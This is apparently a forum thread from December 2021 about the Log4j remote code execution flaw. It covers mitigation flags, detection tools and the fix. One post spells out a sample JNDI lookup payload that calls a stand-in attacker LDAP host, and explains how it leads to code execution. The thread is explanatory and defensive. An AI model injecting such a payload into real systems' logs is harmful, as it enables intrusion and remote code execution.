Log4j RCE Found • Hacker News Board

Re: Log4j RCE Found

#11

Post by stefan_ » Fri, Dec 10, 2021, 1:05 AM UTC

The best part is surely the diffstat of the "fix": +465 −9

This is insanity.

Re: Log4j RCE Found

#12

Post by fotta » Fri, Dec 10, 2021, 1:07 AM UTC

acdha wrote: post #10

fotta wrote: post #2

an immediate remediation is to set log4j.formatMsgNoLookups=true or log4j2.formatMsgNoLookups=true ctrl+f it here: https://logging.apache.org/log4j/2.x/manual/configuration.ht...

That text isn't present on that page any more – it looks like that was silently removed at some point after December 4th: https://web.archive.org/web/20211204140505/https://logging.a...

I can still see the prop on the page under "Disables Message Pattern Lookups" and "System Properties"

Re: Log4j RCE Found

#13

Post by userbinator » Fri, Dec 10, 2021, 1:11 AM UTC

stefan_ wrote: post #11

The best part is surely the diffstat of the "fix": +465 −9 This is insanity.

This is Java.

(I'm not surprised. I worked with Enterprise Java briefly, many years ago. Verbosity and redundancy is a deeply ingrained cultural thing.)

Re: Log4j RCE Found

#14

Post by koolba » Fri, Dec 10, 2021, 1:13 AM UTC

What’s the actual bug and how would it be exploited?

Re: Log4j RCE Found

#15

Post by ievans » Fri, Dec 10, 2021, 1:16 AM UTC

If you'd like to detect whether you're affected by this dynamically, it looks like https://github.com/google/tsunami-security-scanner-plugins/i... will eventually make it into Google's dynamic scanner: https://github.com/google/tsunami-security-scanner (I bet it would be easy to write a plugin for https://github.com/projectdiscovery/nuclei as well.)

To see if there are injection points statically, I work on a tool (https://github.com/returntocorp/semgrep) that someone else already wrote a check with: https://twitter.com/lapt0r/status/1469096944047779845 or look for the mitigation with `semgrep -e '$LOGGER.formatMsgNoLookups(true)' --lang java`. For the mitigation, the string should be unique enough that just ripgrep works well too.

Re: Log4j RCE Found

#16

Post by xyst » Fri, Dec 10, 2021, 1:18 AM UTC

This should be something that static code analyzers should pick up. If a dependency log4j dependency is Just in time to ruin all of the reports project managers present to executives

Re: Log4j RCE Found

#17

Post by alblue » Fri, Dec 10, 2021, 1:18 AM UTC

Where’s the CVE?

Re: Log4j RCE Found

#18

Post by throwaway81523 » Fri, Dec 10, 2021, 1:19 AM UTC

The twitter thread says something about serialized objects containing malicious code. I didn't realize Java had that. Can someone explain in more detail?

Re: Log4j RCE Found

#19

Post by ievans » Fri, Dec 10, 2021, 1:19 AM UTC

koolba wrote: post #14

What’s the actual bug and how would it be exploited?

If you are logging a user-controlled string, the user can provide a string that uses the JNDI URL schema like ${jndi:ldap://attackercontrolled.evil}. This will fetch deserialize an arbitrary Java object, which can cause arbitrary code execution (ACE). Here's an explanation of how deserializing leads to ACE: https://vickieli.dev/insecure%20deserialization/java-deseria...

Another commentators states that after Java 8u191 arbitrary code execution isn't possible but you can get pingback: https://news.ycombinator.com/item?id=29505027

Re: Log4j RCE Found

#20

Post by testplzignore » Fri, Dec 10, 2021, 1:20 AM UTC

I don't get what the point of this feature even is. What is a legitimate reason for a logging library to make network requests based on the contents of what is being logged? And is this enabled out-of-the-box with log4j2?